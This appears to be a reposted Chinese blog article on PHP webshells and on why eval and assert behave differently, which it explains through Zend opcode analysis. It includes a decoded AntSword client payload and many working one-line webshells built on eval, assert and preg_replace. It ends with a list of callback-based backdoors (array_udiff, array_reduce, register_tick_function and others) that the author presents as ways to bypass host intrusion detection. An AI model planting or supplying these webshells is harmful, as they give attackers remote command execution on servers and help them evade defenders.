您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關分析webshell以及eval與assert區別是什么,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
一句話木馬
可以在目標服務器上執行PHP代碼,并和客戶端(如菜刀,Cknife、冰蝎、蟻劍)進行交互的webshell,俗稱小馬。
根據PHP語法,編寫較多代碼,并在服務器上執行,完成所有功能的Webshell,俗稱大馬
利用系統邏輯漏洞(如php uaf漏洞),繞過訪問控制或執行特殊功能的WebShell
string system ( string $command [, int &$return_var ] ); # $command為執行的命令,&return_var可選,用來存放命令執行后的狀態碼 # system 函數執行有回顯,可將結果顯示在頁面上 <?php system("whoami"); ?>
void passthru ( string $command [, int &$return_var ] ); # 和system函數類似,$command為執行的命令,&return_var可選,用來存放命令執行后的狀態碼 # passthru 執行有回顯,可將執行結果顯示在頁面上 <?php passthru("whoami"); ?>
string exec ( string $command [, array &$output [, int &$return_var ]] ); # $command是要執行的命令 # $output是獲得執行命令輸出的每一行字符串,$return_var用來保存命令執行的狀態碼(檢測成功或失敗) # exec()函數執行無回顯,默認返回最后一行結果 <?php echo exec("whoami"); ?> <?php $test = "ipconfig"; exec($test,$array); print_r($array); ?>
string shell_exec( string &command); # $command是要執行的命令 # shell_exec()函數默認無回顯,通過 echo 可將執行結果輸出到頁面 <?php echo shell_exec("whoami"); ?> # `(反引號) shell_exec() 函數實際上僅是反引號 (`) 操作符的變體,當禁用shell_exec時,` 也不可執行 # 在php中稱之為執行運算符,PHP 將嘗試將反引號中的內容作為 shell 命令來執行,并將其輸出信息返回 <?php echo `whoami`; ?>
resource popen ( string $command , string $mode ); # 函數需要兩個參數,一個是執行的命令command,另外一個是指針文件的連接模式mode,有r和w代表讀和寫。函數不會直接返回執行結果,而是返回一個文件指針,但是命令已經執行。popen()打開一個指向進程的管道,該進程由派生給定的command命令執行而產生。返回一個和fopen()所返回的相同的文件指針,只不過它是單向的(只能用于讀或寫)并且必須用pclose()來關閉。此指針可以用于fgets(),fgetss()和 fwrite() <?php $command = $_POST[cmd]; $fp = popen($command,"r"); while (!feof($fp)) { $out = fgets($fp, 4096); echo $out; } pclose($fp); ?>
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ); # 與Popen函數類似,但是可以提供雙向管道 <?php $command = $_POST[cmd]; $array = array( array("pipe","r"), //標準輸入 array("pipe","w"), //標準輸出內容 array("pipe","w") //標準輸出錯誤 ); $fp = proc_open($command,$array,$pipes); //打開一個進程通道 echo stream_get_contents($pipes[1]); //為什么是$pipes[1],因為1是輸出內容 proc_close($fp); ?>
void pcntl_exec ( string $path [, array $args [, array $envs ]] ) # path是可執行二進制文件路徑或一個在文件第一行指定了 一個可執行文件路徑標頭的腳本 # args是一個要傳遞給程序的參數的字符串數組。 # pcntl是linux下的一個擴展,需要額外安裝,可以支持 php 的多線程操作。 # pcntl_exec函數的作用是在當前進程空間執行指定程序,版本要求:PHP > 4.2.0
上述函數都是可以作為一個簡單的webshell執行一些系統的命令,那么與客戶端(菜刀,CKnife,蟻劍,冰蝎)完成交互的webshell是什么樣的呢?
準備一個一句話木馬
<?php @eval($_POST['cmd']);?>
在蟻劍添加手動代理,用Burp抓包分析,如下圖所示:
將cmd參數解碼可以看到
// 臨時關閉PHP的錯誤顯示功能 @ini_set("display_errors", "0"); // 設置執行時間,為零說明永久執行直到程序結束,是為了防止像dir、上傳文件大馬時超時。 @set_time_limit(0); // asenc方法,接收參數,返回參數 function asenc($out){ return $out; }; function asoutput(){ // 從緩沖區取出數據 $output=ob_get_contents(); // 清空緩沖區,并將緩沖區關閉 ob_end_clean(); echo "b48a94c80a"; // 輸出數據 echo @asenc($output); echo "606e3eed3"; } // 打開緩沖區,來保存所有的輸出 ob_start(); try{ // $_SERVER["SCRIPT_FILENAME"]是獲取當前執行腳本的絕對路徑,dirname() 函數返回路徑中的目錄名稱部分,也就是說$D是當前執行腳本所在的目錄 $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="") // $_SERVER["PATH_TRANSLATED"]獲取當前腳本所在文件系統(不是文檔根目錄)的基本路徑。這是在服務器進行虛擬到真實路徑的映像后的結果 $D=dirname($_SERVER["PATH_TRANSLATED"]); // 拼接字符串和一個制表位 $R="{$D} "; // 判斷是否為Linux的文件目錄 if(substr($D,0,1)!="/"){ // 遍歷盤符 foreach(range("C","Z")as $L) // 如果存在盤符 if(is_dir("{$L}:")) // 拼接字符串 $R.="{$L}:"; }else{ // 否則拼接/ $R.="/"; } // 拼接制表位 $R.=" "; // 判斷posix_getegid方法是否存在,存在調用該方法按用戶id返回用戶相關信息 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; // 如果用戶信息不為空,則返回name屬性,否則調用get_current_user()方法 $s=($u)?$u["name"]:@get_current_user(); // 返回運行 PHP 的系統的有關信息 并拼接 $R.=php_uname(); $R.=" {$s}"; echo $R; ;} catch(Exception $e){ // 捕獲異常 echo "ERROR://".$e->getMessage(); }; // 運行程序 asoutput(); die();
將此代碼放置在eval函數中執行,返回結果如下圖所示:
這說明了eval函數將字符串按照php code解析并執行了,所以客戶端只要構造好相應的php code,發送給服務器上的webshell,則可以執行并返回。
當我們再使用列目錄的時候截斷,可以看到如下圖所示,蟻劍客戶端還是將封裝好的代碼發送給了服務端的webshell
@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "7322e6777"; echo @asenc($output); echo "7529076fb4d2"; } ob_start(); try{ $D=base64_decode($_POST["od0d1a967133cb"]); $F=@opendir($D); if($F==NULL){ echo("ERROR:// Path Not Found Or No Permission!"); }else{ $M=NULL; $L=NULL; while($N=@readdir($F)){ $P=$D.$N; $T=@date("Y-m-d H:i:s",@filemtime($P)); @$E=substr(base_convert(@fileperms($P),10,8),-4); $R=" ".$T." ".@filesize($P)." ".$E." "; if(@is_dir($P)) $M.=$N."/".$R; else $L.=$N.$R; } echo $M.$L; @closedir($F); }; }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); &od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==
其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,這個od0d1a967133cb key的value值是base64解碼之后就是我的web服務的根目錄,可以看見,其實用于eval函數執行的代碼都是大體相同的,只是更改了try-catch代碼塊中的邏輯,對于傳統的webshell管理工具,連接webshell并且執行相關命令需要使用類似eval,assert等函數將字符串當作php代碼執行的性質,當連接成功之后,就可以利用當前web容器可解析的語言執行代碼,并完成相關的操作。
這里總結一下,腳本要將字符串(或文件流)當做PHP代碼來執行,主要會使用到以下函數:
eval
:PHP 4,PHP 5,PHP 7+ 均可用,接收一個參數,將字符串作為PHP代碼執行
<?php eval("echo system('whoami');"); ?> //一句話 <?php @eval($_POST['cmd']); ?>
assert
: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一個參數,PHP5.4.8版本后可以接受兩個參數
<?php assert("system('whoami')"); ?> // 一句話 <?php assert($_POST['cmd']); ?> <?php assert($_GET['cmd']); ?>
正則匹配類:prge_replace
,mb_erge_replace
,prge_filter
等
// php5.5.0 以下 /e參數還能執行 <?php preg_replace("/test/e","system('whoami')","jutst test"); ?> // 一句話 <?php preg_replace("/test/e",@eval($_POST['cmd']),"jutst test"); ?> <?php preg_replace("/test/e",$_POST['cmd'],"jutst test"); ?> // php5.5.0+ /e 參數不能使用,推薦使用preg_replace_callback <?php function result(){ return system("whoami"); } preg_replace_callback("//","result",""); ?> // 一句話馬 <?php function result(){ return @eval($_POST['h']); } preg_replace_callback("//","result",""); ?>
文件包含類:include
,include_once
,require
,require_once
,file_get_contents
等
話說做webshell檢測的時候,因為要繞過HIDS,常規的一句話木馬,大馬都基本上會被攔截,不得不去找了一些php提供的”安全函數“(ps,這里我所指的“安全函數”是php的內置的回調函數,因為本身這些方法都是php自提供的,所以還是一定程度上可以繞過的)。開始使用的時候發現eval不能作為回調函數的后門?而是要用assert函數來代替eval?
意思就是當我們構造一個雙變量馬的時候,不能使用1=eval&2=xxx來使用,而只能使1=assert&2=command做為密碼連接,或者1=system&2=whoami來執行命令
好奇心害死貓
查看官方文檔,他告知我如下:
eval是一個語言構造器,而不是一個函數,不能被可變函數調用;
然后我又去查詢什么是可變函數,官方的定義如下:
PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途,可變函數不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語言結構。需要使用自己的包裝函數來將這些結構用作可變函數。
到這里其實官方已經說得很清楚了,但是我還是想一探究竟,深入淺出
安裝vld擴展(這里提示,安裝擴展在linux下,且php是自編譯的,安裝擴展是最簡單的)
使用vld擴展,可以清楚的看到php5
,php7
assert
函數,eval
函數在opcode
中執行過程
關于php解釋型語言以及opcode的一些解釋
php是解釋型語言,所謂“解釋型語言”就是指用這種語言寫的程序不會被直接編譯為本地機器語言(native machine language),而是會被編譯為一種中間形式(代碼),很顯然這種中間形式不可能直接在CPU上執行(因為CPU只能執行本地機器指令),但是這種中間形式可以在使用本地機器指令(如今大多是使用C語言)編寫的軟件上執行。
PHP使用主要虛擬機(Zend虛擬機,譯注:HHVM也是一種執行PHP代碼的虛擬機,但很顯然Zend虛擬機還是目前的主流)可以分為兩大部分,它們是緊密相連的:
編譯棧(compile stack):識別PHP語言指令,把它們轉換為中間形式
執行棧(execution stack):獲取中間形式的代碼指令并在引擎上執行,引擎是用C或者匯編編寫成的
OPCode
Zend VM的一個OPCode對應虛擬機的一個底層操作。Zend虛擬機有很多OPCode:它們可以做很多事情。隨著PHP的發展,也引入了越來越多的OPCode,這都是源于PHP可以做越來越多的事情。可以在PHP的源代碼文件Zend/zend_vm_opcodes.h中看到所有的OPCode。
Zend VM的每個OPCode的工作方式都完全相同:它們都有一個handler(譯注:在Zend VM中,handler是一個函數指針,它指向OPCode對應的處理函數的地址,這個處理函數就是用于實現OPCode具體操作的),這是一個C函數,這個函數就包含了執行這個OPCode時會運行的代碼(例如“add”,它就會執行一個基本的加法運算)。每個handler都可以使用0、1或者2個操作數:op1和op2,這個函數運行后,它會后返回一個結果,有時也會返回一段信息(extended_value)
如下圖所示,可以看到eval
是INCLUDE_OR_EVAL
去處理,而assert
是用DO_FCALL
去處理
在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看見DO_FCALL這個OPCode的具體操作
在這里說一下第一個判斷條件,因為確實不懂,在網上找了與一下相關的解釋
//如果EG(active_op_array)->run_time_cache[]數組中存在這個值,就取出來,畢竟C原生態數組取數據速度要遠遠超過zend_hash_quick_find(畢竟他要計算hash值,還要遍歷,不能達到真正的O(1) if (CACHED_PTR(opline->op1.literal->cache_slot)) { ce = CACHED_PTR(opline->op1.literal->cache_slot); }
然后如果C原生態數組里沒有這個函數,就會進入else if中,進行一個哈希查找,并把函數指針放入 EX(function_state).function,最后再調用該函數
到這里就可以看到為什么eval參數中必須是php代碼,而不是命令,當在eval中的參數為命令的時候,就會出現eval() 'd code
的錯誤,當參數為php代碼的時候,就會直接編譯執行參數。
從OPCode中可以看到,eval就是Zend函數,assert是宏編寫的,最后在調用上是不同的,如下圖所示,eval就不是宏定義的
在php7+中,assert斷言也已經成為語言解釋器,再也不是函數了,所以在php7中使用assert作為回調后門不能成功的原因就在于此
給大家留點彩蛋吧哈哈哈,我實在太菜了
// (PHP 4, PHP 5, PHP 7) // register_shutdown_function — 注冊一個會在php中止時執行的函數 // register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void // php7+ 存在立即執行函數(function($a){@eval($a)})($_POST['cmd']) <?php function test($a){ @eval("$a"); } register_shutdown_function(test,$_POST['cmd']); ?>
// (PHP 5, PHP 7) // array_udiff_assoc — 帶索引檢查計算數組的差集,用回調函數比較數據 // array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array <?php function test($a){ @eval($a); } array_udiff_assoc(array($_REQUEST['h']),array(1),"test"); ?>
// (PHP 5, PHP 7) // array_intersect_uassoc — 帶索引檢查計算數組的交集,用回調函數比較索引 // array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array <?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert"); ?> <?php array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system"); ?>
// forward_static_call_array — 調用靜態方法并將參數作為數組傳遞 // forward_static_call_array ( callable $function , array $parameters ) : mixed <?php forward_static_call_array("assert",array($_REQUEST['h'])); ?> <?php forward_static_call_array("system",array($_REQUEST['h'])); ?>
// (PHP 5 >= 5.1.0, PHP 7) // array_intersect_ukey — 用回調函數比較鍵名來計算數組的交集 <?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert"); ?> <?php array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system"); ?>
// register_tick_function — 注冊一個函數,以便在每次被標記時執行 // register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool <?php declare(ticks=1); register_tick_function("assert", $_REQUEST['h']); ?> <?php declare(ticks=1); register_tick_function("system", $_REQUEST['h']); ?>
// (PHP 4 >= 4.0.5, PHP 5, PHP 7) // array_reduce — 用回調函數迭代地將數組簡化為單一的值 // array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed <?php $arr = array(1); array_reduce($arr, "assert", $_REQUEST['h']); ?> <?php $arr = array(1); array_reduce($arr, "system", $_REQUEST['h']); ?>
// (PHP 5, PHP 7) // array_udiff — 用回調函數比較數據來計算數組的差集 // array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array <?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "assert"); ?> <?php $arr = array($_POST['h']); $arr2 = array(1); array_udiff($arr, $arr2, "system"); ?>
以上就是分析webshell以及eval與assert區別是什么,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。